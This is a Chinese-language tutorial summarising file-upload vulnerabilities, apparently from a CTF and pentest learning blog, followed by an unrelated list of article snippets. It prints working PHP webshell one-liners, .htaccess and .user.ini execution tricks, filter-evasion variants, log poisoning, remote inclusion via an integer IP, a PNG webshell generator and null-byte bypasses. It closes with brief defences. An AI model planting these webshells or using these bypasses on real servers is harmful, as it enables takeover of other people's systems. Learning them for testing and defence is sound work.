文件上传漏洞总结

article/2025/9/29 5:55:35

文件上传

文件上传漏洞产生的原理

文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。

文件上传漏洞的危害

1、由于是上传的文件,所以文件由用户决定,上传webshell后门,直接获取网站权限。

2、导致网站所在的服务器沦陷

这里需要注意一个地方就是:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess

文件上传分类

1、常规类

常规类的文件上传,漏洞出现在代码块。并且有以下检测。

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

前端和后端验证:

前端通过JS类防护,前端是用户自己可以控制的,不安全。

后端是服务器控制,相对前端安全一些。

如何判断前端和后端?

除了通过查看网页源代码之外,还可以通过burp suite抓包。如果在文件上传之前,就提示有防护,那么就是一个前端防护,如果是在抓到包之后,放包的时候提示有防护,那么就是一个后端防护。

黑名单:不允许xxx上传。

白名单:只允许xxx上传。

所以白名单比黑名单更安全。

(1)前端绕过

如果只有前端,可以直接上传允许上传的文件,通过抓包修改后缀,或者MIME类型(Content-Type:image/png)

(2)黑名单绕过

1、特殊解析后缀

PHP:
php2、php3、php5、phtml、pht、php4、html等后缀(是否解析需要根据配置文件中设置类型来决定)ASP:
asa、cer、cdx、cdxASPX:
ascx、ashx、asacJSP:
jsp、jspx、jspf

特殊后缀解析,利用条件,需要配置文件。

打开Apache的配置文件httpd.conf
搜索AddType application/x-httpd-php,在后面加上.php3 和.php5
AddType application/x-httpd-php .php .phtml .php3 .php5
改完以后重启Apache服务

利用方法:如果有增加这个配置,那么就可以通过这个特殊后缀绕过黑名单

2、.htaccess解析

.htaccess只存在于apache中,

​ htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

​ 虽然.htaccess只存在于apache中,但是nginx通过设置也可以使用。

<FilesMatch "xxx">
SetHandler application/x-httpd-php
</FilesMatch>or
Addtype application/x-httpd-php .pngps:这里说的意思就是,文件名中含有xxx的文件,将被当成php代码去执行。

利用方法:可以先上传一个.htaccess文件,然后再上传xxx文件名,使得xxx文件被当成php代码执行。

3、.user.ini解析

.user,ini自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

利用条件:

​ 这与.htaccess有着异曲同工之妙处。但是.user.ini适用的更广,但是又有限制条件。

​ 利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。同时php版本为7.x

利用方法:

先上传一个.user.ini文件。

auto_prepend_file=1.png  
auto_append_file=1.pngps:这两个都可以使用,区别在于一个是文件加载之前执行,一个在文件加载之后执行。

然后再上传1.png文件,这里文件名需要跟上面.user.ini文件里面的文件名一致。

<?php eval($_POST[x]);?>   密码:x

然后再访问上传的文件地址下面的index.php文件,就可以执行命令

url/upload/index.php
然后post传参:
x=system('tac ../flag.php');

或者蚁剑连接

url/upload/index.php

重要思路:

​ 所以如果在没有这个index.php的文件情况下,我们可以自己先上传一个index.php文件,内容随便,或者为空都行。

4、检测文件内容

因为我们的后门代码是

<?php eval($_POST[x]);?>

如果<?php被检测,过滤掉了。

利用<?=?>的写法   这个不需要开启配置
<?=eval($_POST[x]);?>
把这个一句话木马写入1.png
然后使用蚁剑去连接或者命令执行

如果同时把[]符号过滤了。

<?=eval($_POST{x});?>    换成{}大括号即可  php支持这个写法

如果同时把[]、{}、; 都过滤掉了。

由于我们这里最终目的是读取flag.php,所以修改为直接执行命令。
<?=system('tac ../flag.*')?>  ps:* 星号的意思是flag文件名的所有后缀。

如果把system也过滤了

<?=`tac ../flag.*`?>    可以利用反引号,去代替system_exec(),当然了得这个system_exec()打开。ps:这是不是单引号,而是反引号
因为我们的函数,一般都是xxx(''),如果用反引号代替了函数之后,那么
<?=system('tac ../flag.*')?> 与 <?=`tac ../flag.*`?> 一样的效果

如果把反引号、log也过滤

<?=include"/var/lo"."g/nginx/access.lo"."g"?>ps:
.在php中是连接符的意思。
为什么这么写呢?是因为这里也过滤了log,所以要把log拆开。

​ 这是一个nginx中间件靶场的文件上传,

​ 利用思路,访问nginx的日志文件,日志文件里面有什么?会记录,访问信息。然后在UA头里面,写入后门代码。然后利用文件包含去包含这个文件,来触发后门代码。如果是其他中间件,则找其他中间件的日志文件。

nginx的日志文件:
var/log/nginx/access.log

所以解题思路:

先上传一个1.png文件,内容为包含日志文件的地址,因为有过滤,所以要拆开写,如果没有过滤,就可以直接写。

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

然后再上传.user.ini文件,内容为

auto_prepend_file=1.png   包含1.png

两个文件都上传之后,再去访问url/upload,就会出现日志信息。

然后再次访问url并抓包,在UA头这里写入后门代码,这样后门代码就不会被过滤了,然后就可以执行命令。x=system();

或者

<?php $a='syste'.'m';$a('tac ../flag.php');?>ps:变异代码

5、检测文件头

​ 如果在检测文件内容的时候,同时检测文件头。

​ 在上传文件的时候就可以在前面加上GIF的文件头。

​ 比如上传.user.ini

GIF89A
auto_prepend_file=1.png

6、IP转int数字

如果把上面的都过滤了,而且还过滤了 . 同时还检测文件头。

还是先上传.user.ini

GIF89A
auto_prepend_file=pngps:因为检测 . ,所以文件名不能带 . ,直接png就行

然后上传png文件

ps:这里由于. 被过滤了,所以常规的后门代码已经不行了。可以利用把后门代码写在远程服务器上,然后访问这个远程服务器的地址就行了。
GIF89A
<?=include'http://3232235781'?>ps:这里直接搜IP转int数字。
http://www.esjson.com/iptoint.html

然后再访问url/upload/index.php,调用后面代码即可。

7、删除文件

遇到删除文件的,有两种类型。一种是什么文件都删除,一种是删除后门代码。如果是什么都删除的情况下。可以利用条件竞争。

1、条件竞争,再文件上传成功之后,马上访问文件,创建型代码(代码被执行后重新创建一个文件)

利用方法:
比如上传文件的地址是upload/png
那么在没上传之前一直访问upload 然后post:代码(利用php创建一个文件)

2、直接利用.user.ini包含远程地址

由于会删除png文件,但是不会删除.user,ini文件
所以直接在上传.user.ini的时候,就包含远程地址GIF89A
auto_prepend_file=http://3232235781

然后再直接访问url/upload/index.php 执行远程代码文件即可

8、二次渲染

​ 二次渲染就是在我们上传的图片后,网站会对图片进行二次处理,比如对图片的尺寸、格式、以及网站对图片进行定义的一些要求等进行处理,并且服务器会对里面的内容进行二次替换更新,在处理完后,会生成一个合规的图片在网站上显示出来。

在png里写入后门代码

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');   #保持在本地的图片马
?>

这里直接复制这段代码,到phpstudy文件夹目录下的WWW。保存为1.php

然后开启phpstudy环境,浏览器访问127.0.0.1/1.php,然后再回到WWW文件夹下,就会出现1.png图片马了。

然后直接上传这个1.png图片马。

得到地址url/download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png

注意这里的二次渲染,给的路径是download.php 这里才能执行成功为php代码 如果给的是upload/xxx/xxx.png 这种格式的话,就不能执行成功。这里是为了解题,所以才留下的漏洞。

然后访问图片地址,进行抓包。。

image-20230709145328480

然后在repeater模块 修改post为1=tac ./flag.php

image-20230709145520501

二次渲染,图片马制作。

参考博客https://blog.csdn.net/qq_40800734/article/details/105920149

9、大小写绕过

​ 后缀大小写是通过服务端未将后缀进行统一的格式转换,导致可以上传PHP的文件,同时由于Windows系统对后缀大小写并不敏感,所以当在写PHP的改成Php就会被当作PHP进行解析。

10、点绕过

​ 点绕过其实就是利用了Windows对文件和文件名的限制,当将点放在结尾的时候,就会触发操作系统的命名规范问题,所以在生成文件的时候,添加在结尾的点就会被去除。

11、空格绕过

​ 空格绕过和点绕过是一样的,都是利用操作系统的特性来进行解析绕过。

12、::$$DATA绕过

在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名.

例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"

13、双后缀名绕过

​ 服务端可能存在将后缀替换为空的情况,但是这就存在一种可能就是在编辑过滤的时候只过滤了一次,所以就出现了可以通过双写就绕过的可能。

​ 有人写代码的时候呢,将过滤的条件只写一次,所以可以在文件后缀写上两次pphphp,将中间的php过滤之后,还剩下php。就成功绕过。

同样这个思路,还可以这样想,. 和 空格过滤的时候,可以111.php. 空格 .

这样,先去除一次空格,再去除一次. 就剩下111.php. 这个不就是我们的.过滤嘛?

(3)白名单绕过

1、%00截断

%00不是代表空格,而是null,一个空字符,当程序执行到%00后,那么后面的数据就会停止,意思就是误当作结束符,把后面的数据直接忽略了,这就会导致漏洞产生。

在文件上传后,利用%00截断,在文件扩展名验证的时候,就会取文件的扩展名进行验证,但是在最后保存在本地的时候,%00就会截断文件名,只保存%00之前的内容。

%00只能用于php版本低于5.3的

​ 而且%00截断是建立在地址上面的截断,而不是文件名的截断。也就是需要上传路径可控。

原理就是,比如在…upload/这个地址,它会在这个地址的后面加上时间然后.xxx ,你的上传文件格式。3123123.xxx

而%00截断就是,在…upload/这个地址后面加上…upload/1.php%00

这样就变成了1.php%00312341.jpg 而后面都被截断了,就只剩下1.PHP

ps:注意在%00截断的时候,会有GET、POST的区别。

在GET中,%00截断会自己解码,而在POST中不会自己解码,所以在POST使用%00截断的时候,需要自己将%00进行url解码。而且将hex值也随之修改。

2、条件竞争

​ 条件竞争就是在源代码中是存在校验的,但是校验是在文件上传后,才开始校验,也就是文件先上传至服务器中,然后服务器会对该文件进行校验,当符合的时候则会对文件进行重命名,当文件不符合要求的时候就对将文件进行删除。

​ 而我们则需要在服务器对文件删除前进行访问,由于文件在访问过程中,服务器是无法删除的(有点像windows下,打开文件的同时又删除或者修改文件),所以就可以利用这个节点实现条件竞争。

3、突破gatimagesize

​ etimagesize函数是用于获取图像大小及相关信息,成功返回一个数组,失败则返回false产生一条e_warning级的错误信息。

​ 通过对图片及代码进行合成图片马,这个时候getimagesize函数既可以获取图片信息,文件后缀php也能够被解析成脚本文件,从而绕过getimagesize函数的限制。

但是注意的是,需要存在文件包含漏洞,才能将图片马执行为脚本代码。

4、突破exif_imagetype

​ 服务器exit_imagetype()函数检测上传图片类型是否为白名单图片格式来验证上传文件合法性。

​ 同理可以通过制作图片马绕过,再配合文件包含漏洞解析文件来获取服务器配置信息。

5、MIME绕过

$_FILES'myFile'		上传文件的原名称$_FILES'myFile'		文件的 MIME 类型$_FILES'myFile'		已上传文件的大小,单位为字节$_FILES'myFile'		文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定$_FILES'myFile'		和该文件上传相关的错误代码

2、cms类

与编辑器一样,都是去查找,该cms版本是否存在文件上传漏洞。

3、编辑器类

​ 编辑器也就是在线的web编辑器,比如在搭建博客后需要发布文章,那么用来发布文章的界面就是web编辑器。当然web编辑器有很多,如:UEDITOR(百度)、eWebEdit、FCKeditor、CKEditor(新版fck)、Kindeditor、DotNetTextBox、CuteEditor等等。

如果发现网站有编辑器插件,那么可以寻找一下这个编辑器的版本有没有漏洞。

4、其他类/CVE

ISS6/7.x

windows server2003 windows server2008

iis6.0

文件夹

正常文件xxxx/qq.jpg

xxxx.asp/qq.jpg qq.jpg就会被当做asp解析

文件

正常文件image.jpg

image.asp;.jpg或xxxx.asp;xxxx.jpg 此文件就会被当成asp代码执行

asp可以换成php,如果换成了php ,就被当初php执行。

iis7.x与nginx解析漏洞一样

Apache

Apache解析漏洞,适用于低版本的apache,比如正常文件是xxx.php,

这是有一个文件是xxx.php.yyy,因为不能解析yyy,所以向前解析,直到解析到正确的为止。

利用场景:如果对方中间件apache属于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中后门代码被触发。

Apache 换行解析 配置不当

1、换行解析-CVE-2017-15715

其2.4.0~2.4.29版本中存在一个解析漏洞

2、配置不当-.htaccess配置不当

AddHandler application/x-httpd-php .php

Nginx

Nginx 文件名逻辑 解析漏洞

1、文件名逻辑-CVE-2013-4547

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

2、解析漏洞-nginx.conf配置不当

由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

文件上传漏洞的防护

​ 文件上传漏洞的防御主要还是围绕三部分,一是文件上传路径,二是文件访问权限,三是文件执行权限。

​ 对于图片文件的防御方法,主要是采用白名单以及图片渲染。另外的一种方法是将用户上传的文件都放到指定的目录中,同时在服务器配置中设定该目录下的所有文件不可执行,但是该方法存在的风险即是在路径可知的情况下配合文件包含漏洞即可突破。

​ 因此,个人觉得针对文件上传的最好防御方法即是让上传路径不可知,将用户上传文件的路径保存到数据库中,并且在需要的时候再去读取加载。


http://chatgpt.dhexx.cn/article/erXRTTAv.shtml

相关文章

php 上传文件触发,PHP文件上传漏洞浅析

PHP文件上传漏洞的浅析。 文件上传简介 在一个正常的网站中&#xff0c;通常都会存在一些允许用户上传文件的地方。但是有一些上传功能的地方没有对用户上传的内容进行过滤&#xff0c;导致会上传木马到服务器并执行命令&#xff0c;甚至控制服务器的权限。 文件上传实现 前端代…

文件上传漏洞

文件上传漏洞 1. 文件上传功能 文件上传功能是大部分WEB应用的必备功能&#xff0c;站点常见文件上传点有&#xff1a;用户头像上传、社交类网站允许用户上传照片、服务类网站需要用户上传证明材料的电子档、电商类网站允许用户上传图片展示商品情况等。然而&#xff0c;看似…

java fckeditor 上传图片_java下FCKeditor上传图片问题

展开全部 先到tomcat->webapps里建立一个文件夹叫mysite。把FCKeditor里的/editor和fckconfig.js, fckeditor.js, fckstyles.xml, fcktemplates.xml四个文件copy到mysite文件夹里&#xff0c;因为别的文件对我32313133353236313431303231363533e58685e5aeb931333239303264们…

Consider defining a bean of type ‘com.course.server.mapper.TestMapper‘ in your configuration.

问题 Description:A component required a bean of type com.course.server.mapper.TestMapper that could not be found.Action:Consider defining a bean of type com.course.server.mapper.TestMapper in your configuration.解决 我用了mybatis&#xff0c;在mapper层忘记…

@ManyToMany mappedby

学生和老师就是多对多的关系。一个学生有多个老师&#xff0c;一个老师教多个学生。多对多映射采取中间表连接的映射策略&#xff0c;建立的中间表将分别引入两边的主键作为外键。jpa 对于中间表的元数据提供了可配置的方式&#xff0c;用户可以自定义中间表的表名&#xff0c;…

MapDB简单用法

MapDB提供了Java映射、集、列表、队列和其他由非堆或磁盘存储支持的集合。它是java集合框架和嵌入式数据库引擎之间的混合。它是Apache许可下的免费和开放源码。 如果处理GB级数据&#xff0c;请考虑使用非缓存存储容器&#xff0c;比如本篇提到的MapDB&#xff0c;而不要把庞大…

BaseMapper

* 1.公共的方法进行抽取,抽取到BaseMapper接口中,将用户操作的方法对象,转化为数据库能够识别的SQL语句 * 2.通过userMapper查找父级接口BaseMapper * 3.根据BaseMapper查找泛型对象User对象 * 4.根据user对象查找指定的注解TableName,获取表明 * 5.根据user对象的属性,动态获取…

MappedBy

对于mappedBy复习下&#xff1a; a) 只有OneToOne,OneToMany,ManyToMany上才有mappedBy属性&#xff0c;ManyToOne不存在该属性&#xff1b; b) mappedBy标签一定是定义在the owned side(被拥有方的)&#xff0c;他指向the owning side(拥有方)&#xff1b; c) mappedBy的含义…

Data Mapper

使用 Data Mapper分离数据源的Model和页面现实的Model&#xff0c;不要因为数据源的增加、修改或者删除&#xff0c;导致上层页面也要跟着一起修改 interface Mapper<I,O> {fun map(input:I):O }data class CarEntity(var no:String) data class CarModel(var num:String…

全网最详细的postman接口测试教程,一篇文章满足你

目录 目录 1、前言 2、接口理论 3、接口实例 一、POST 二、GET 4、总结&#xff1a; 1、前言 之前还没实际做过接口测试的时候呢&#xff0c;对接口测试这个概念比较渺茫&#xff0c;只能靠百度&#xff0c;查看各种接口实例&#xff0c;然后在工作中也没用上&#xff0c;…

简单粗暴的PostMan使用说明文档让你一片文章看懂PostMan怎么使用

PostMan功能简单介绍 创建文件夹 点击Collections创建新的文件夹&#xff0c;可以将不同的接口存入不同的文件夹中 点击右边三个点可以进行设置&#xff0c;Rename是重新命名 点击Add request&#xff0c;会在右侧创建一个get请求方式的request。 点击Add Folder&#xff0…

postman基础使用教程

Postman教程大全 - 简书推荐一款接口测试工具&#xff01;POSTMAN&#xff01;简单来说&#xff0c;四个词&#xff0c;简单实用大方美观&#xff01; Postman是一款功能强大的网页调试与发送网页HTTP请求的Chrome插件 Postman背景...https://www.jianshu.com/p/97ba64888894 …

不会接口测试?用Postman轻松入门(一)—— Postman实现get和post请求

测试行业现在越来越卷&#xff0c;不会点接口测试好像简历都已经拿不出手了&#xff0c;但很多小伙伴都会头疼&#xff1a;接口测试应该怎么入门&#xff1f;那么多的接口测试工具应该学哪个&#xff1f; 其实&#xff0c;接口测试工具&#xff0c;就像吃饭用的筷子&#xff0…

Postman快速入门(一)

一、基本介绍 postman是一款流程的接口调试工具&#xff0c;其特点就是使用简单&#xff0c;功能强大。使用角色也非常广泛&#xff0c;后端开发&#xff0c;前端人员&#xff0c;测试人员都可以使用它进行接口调试或测试。 下图是基本功能介绍 发送第一个请求 如果你是第一次…

Postman工具介绍以及使用方法教程(一)

Postman工具 1、postman简介 Postman最早是Google浏览器的一个插件存在的&#xff0c;因为Google退出国内市场&#xff0c;现在postman主要是以一个 APP的形式存在。 Postman最初设计上就是为接口测试而设计的&#xff0c;对于测试人员来说主要用来做接口测试。 2、postman的…

使用PostMan上传文件,有图易懂

现在&#xff0c;越来越多的人习惯用postman来测试接口。那么&#xff0c;关于如何使用postman来上传文件&#xff0c;本文进行讲解 1、将请求方式选择为post 2、填写接口地址 3、填写请求头 key&#xff1a;Content-Type value&#xff1a;multipart/form-data 4、填写Body…

postman-使用post请求

一. postman简介 Postman是一个接口测试工具,在做接口测试的时候,Postman相当于一个客户端,它可以模拟用户发起的各类HTTP请求,将请求数据发送至服务端,获取对应的响应结果, 从而验证响应中的结果数据是否和预期值相匹配;并确保开发人员能够及时处理接口中的bug,进而保证产品上…

Postman全网最详细使用教程

Postman全网最详细使用教程 欢迎关注博主公众号「Java大师」, 专注于分享Java领域干货文章, 关注回复「postman」, 获取postman插件和安装程序&#xff1a; http://www.javaman.cn/jszw/postman 一、postman的安装 postman的安装分为两种&#xff0c;通过chrome浏览器插件安装…

Postman-APIs是干什么的?

最近用postman探索接口自动化&#xff0c;发现里面的APIs这个模块&#xff0c;很少用到&#xff0c;平常都是直接在Collections模块创建请求就完事了。但是想做自动化时&#xff0c;发现需要先把接口定义出来&#xff0c;基于接口创建用例&#xff0c;这样直接用Collections就显…

2022最新Postman安装以及基本操作使用教程

一、postman安装 Postman一款非常流行的API调试工具。其实&#xff0c;开发人员用的更多。因为测试人员做接口测试会有更多选择&#xff0c;例如Jmeter、soapUI等。不过&#xff0c;对于开发过程中去调试接口&#xff0c;Postman确实足够的简单方便&#xff0c;而且功能强大。…